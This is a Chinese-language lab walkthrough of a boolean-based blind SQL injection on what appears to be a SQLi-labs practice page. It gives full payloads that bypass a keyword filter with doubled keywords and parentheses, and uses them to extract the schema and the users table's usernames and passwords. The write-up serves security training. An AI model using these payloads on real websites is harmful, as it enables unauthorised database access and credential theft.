id=1
id=1"
id=1'
页面没有结果,说明单引号破坏了sql语句的结构,判断是单引号字符型。
id=2'anandd'1'='1
即2' and '1'='1
如果没有括号,查询语句即为where id = '$id'
执行的语句则是where id = '2' and '1'='1' 回显会是id为2的信息
如果有括号,查询语句即为where id = ('$id')
执行的语句则是where id = ('2' and '1'='1')
mysql会将'2'当作true,然后true and true为true,true则为1
即执行where id = 1 回显会是id为1的信息
由图可知,回显id为1的信息,即闭合为')
判断数据库长度
id=1')anandd(length(database())=8)anandd('1
数据库长度为8
判断数据库名
id=1')anandd(ascii(substr(database(),1,1))=115)anandd('1
去查ascii表,得出115对应s。
后面依次判断出8位...得出数据库名security
判断表名长度
由于我这里用的是windows系统,可能是因为apache解析不了,无法用%a0代替空格,所以这里使用()绕过
id=1')anandd
(length((select(group_concat(table_name))
from(infoorrmation_schema.tables)
where(table_schema='security')))=29)
anandd('1
判断出表名长度为29
判断表名
id=1')anandd
(ascii(substr((select(group_concat(table_name))
from(infoorrmation_schema.tables)
where(table_schema='security')),1,1))=101)
anandd('1
得出101为e
后面依次判断出表名为emails,referers,uagents,users
判断users表的字段名长度
id=1')anandd
(length((select(group_concat(column_name))
from(infoorrmation_schema.columns)
where(table_schema='security')
anandd(table_name='users')))=20)
anandd('1
字段名长度为20
判断users表的字段名
id=1')anandd
(ascii(substr((select(group_concat(column_name))
from(infoorrmation_schema.columns)
where(table_schema='security')
anandd(table_name='users')),1,1))=105)
anandd('1
后面依次判断出字段名为id,username,password
判断users具体数据长度
id=1')anandd
(length((select(group_concat(username,passwoorrd))
from(users)))=189)anandd('1
猜出users具体数据
id=1')anandd
(ascii(substr((select(group_concat(username,passwoorrd))from(users)),1,1))=68)
anandd('1
最后得出所有数据